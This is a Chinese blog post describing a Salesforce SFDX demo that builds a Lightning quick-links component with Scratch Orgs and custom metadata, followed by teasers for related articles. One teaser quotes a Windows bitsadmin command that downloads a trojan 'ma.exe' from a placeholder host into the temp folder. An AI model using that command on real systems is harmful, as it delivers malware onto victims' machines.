SFDX 小试2(结合一个功能Demo)
原
荐
字数 1019
阅读 26
收藏 0
Scratch Apache Apex IntelliJ IDEA Sandbox def
21天精品区块链课程免费学习,深入实战行家带路,助力开发者轻松玩转区块链! >>>
去年经手的一个项目有个需求是,在主页增加一个快速报表的入口以及操作手册的入口,因为项目是基于Lightning的所以自然是通过组件方式,在主页中拿一个富文本放入页面中,在富文本中,添加a链接 很快就完成了,但后面的问题也产生了,每次刷的Sandbox 那些链接都是跳转到正式环境,另一个当初只有几个主页,随着时间的过去,主页多了,维护工作量也大,且低效,打开App Builder是个耗时工作,富文本加载非常慢.正好看了下SFDX的相关东西,于是就把这两个合并做个Demo.
-
通过IDEA(Illuminated Cloud 插件)创建一个SFDX项目,填写项目名称,目录默认是force-app
-
创建OR绑定一个Scratch Org(有效期最多好像是30天,不确定,填写大于30天就会限定30),点击+号创建,在Connection 中可以选择一个已经存在的
-
选择绑定的Scratch Org
-
在终端通过命令查看Org列表
-
项目结构如截图config是Scratch Org的配置 force-app是存放元数据目标 sfdx-project.json 是项目配置文件,登录地址api版本
-
创建QuickLink 组件 代码很简单,就是一个卡片,lightning:layoutItem 布局
QuickLink.design 中提供在App Builder中可配置属性,定义 类型是报表还是文件,显示1列还是2列,组件Id等,具体见文 未代码
控制类只一个初始化加载方法,加载数据显示在前台
Helper类中只有一个加数据的方法,将结果设置到前台属性中(引用了一个ServerActionService组件封装请求来源于 Implement and Use Lightning Service Components )
-
创建Apex类 Apex类中,通过前台传的参数,查询数据给前台
-
配置数据采用自定义元数据,报表可以配置文件夹,文件暂时只支持查询某个Library下的所有文件,没有采用文档是因为文档只能上传最大5M
配置的数据
-
通过 push/pull 菜单推送本地代码与拉取元数据
-
目前发现一个不好的点是,如果推送失败了,只会告诉你失败,没有提示信息,有时有,在apex有错误时要好些,但是cmp有错误,效果就没有那么好,所以有时要通过控制台push下
-
如果在推送时报没有权限,通过config list看下有没有配置本地,通过IDEA创建的临时Org是不会的
设置某个临时组件为默认
-
在主页中配置组件,也可以在其它页面中
效果如下 两列情况
一列情况
放到Account页面布局
-
文件没有测试,在这个临时Org中创建了库,但是不显示,再创建时提供该api已经存在,不知为何.
-
需要完善的是,如果报表名过长没有处理,需要省略显示,悬浮显示
-
代码见 github
-
点击部署,然后跳转到一个界面,授权登录devhub,然后开始自动创建临时Org,并部署
-
部署成功截图
-
登录到临时Org查看是否可以运行正常 页面已经部署了,为了测试设置为组织默认
-
正常显示,数据都过来了
-
项目中一定要有project-scratch-def.json这个,否则会提示没有这个文件无法创建临时Org,这一点就体现sfdx的便捷,以前是要把代码复制,现在通过部署就可以.
© 著作权归作者所有
共有人打赏支持
在山的那边
参与源创会
“源创会”在线下联结了各位 OSCer,推广开源项目和理念,很荣幸有你的参与~
领取条件:参与过开源中国“源创会”的 OSCer 可以领取
粉丝 12
博文 37
码字总数 24546
作品 0
长宁
程序员
相关文章 最新文章
如果您已经入门reactjs,请绕道~ 这篇博客只适合初学者,初学reactjs的时候,如果你不会webpack,相信很多人都会被官方的例子绕的晕头转向。 ES6的例子也会搞死一批入门者。之前一直用的gulp,...
馒头
2016/03/08
153
0
这几天因为一个需求,要不断重复一个用特定代码段去包围不同代码的需求。 这个要不断移动鼠标以及重复敲打相同代码的体力活,实在让我老眼昏花,体内的懒人之力迫使我想一个快捷的方法来代替...
狮子还是喵
08/11
0
0
创龙教育是一个全新的培训品牌,以独有技术开发背景,比传统培训机构更加灵活,志在打造一个以理论知识结合实践操作的教学课堂,深入浅出。是首家以DSP培训为主导的培训机构。由资深在职工程...
meme6123
2016/05/09
157
0
1. 什么是Red5. Red5是一个开源项目,用于实现flash与服务器端之间通过rtmp(real time messaging protocal)协议通信,可以实现视频、音频的传输,remote shared object等等。相对于FMS, Red5...
红薯
2010/04/15
13.1K
6
下载地址: http://blog.csdn.net/lanergaming/article/details/39855033 http://www.androiddevtools.cn/ 配置ndk: jni头文件需要用到javah命令: 开始生成步骤: 1、 可以发现上面出现找不...
小树coding
2016/05/18
48
0
没有更多内容
加载失败,请刷新页面
加载更多1.JFinal实现分页要借助于其Model和DB提供的分页API: paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) 其中的参数含义分别为:当前页的页...
Carol998
9分钟前
0
0
说明 0——关机, 1——单用户,就是我们之前修改root账户密码的模式, 2——多用户模式,但比3模式少了一个nfs服务 3——多用户命令行模式,最常用 4——保留级别暂时没用, 5——图形模式,...
xiaoge2016
21分钟前
0
0
# windows# 首先需要准备一个木马程序ma.exebitsadmin /transfer myjob1/download /priority normal http://www.xxx.com/ma.exe c:\windows\temp\ma.exe# ma.exe保存在http://www.......
超级大黑猫
30分钟前
0
0
[root@localhost ~]# mkdir -p ~/mongo ~/mongo/db [root@localhost ~]# cd mongo 安装mongodb [root@localhost mongo]# docker pull mongo 运行容器,不加权限 [root@localhost mongo]# do......
freelb
32分钟前
0
0
导读 IPv6的引入,让SDN的重构进程变得困难,SDN技术面对的仍是IPv4网络,现在一下子来了个IPv6,SDN该如何适配,能够完好支持都成了问题,IPv6给SDN出了不小的难题。 IPv6喊了这么多年,终于...
问题终结者
33分钟前
1
0
没有更多内容
加载失败,请刷新页面
加载更多以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 利用策略模式结合alibaba/alpha框架优化你的图片上传功能
- Python结合Zabbix模板的自动发现功能监控RabbitMQ队列是否正常运行并自动添加触发器
- 通过无服务器计算实现更多功能:将 Cloud Functions 与无服务器 SQL 结合使用
- 代理模式——结合SpringAOP讲解
- 如何结合 Scrum 和 Kanban
- NServiceBus 结合 RabbitMQ 使用教程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。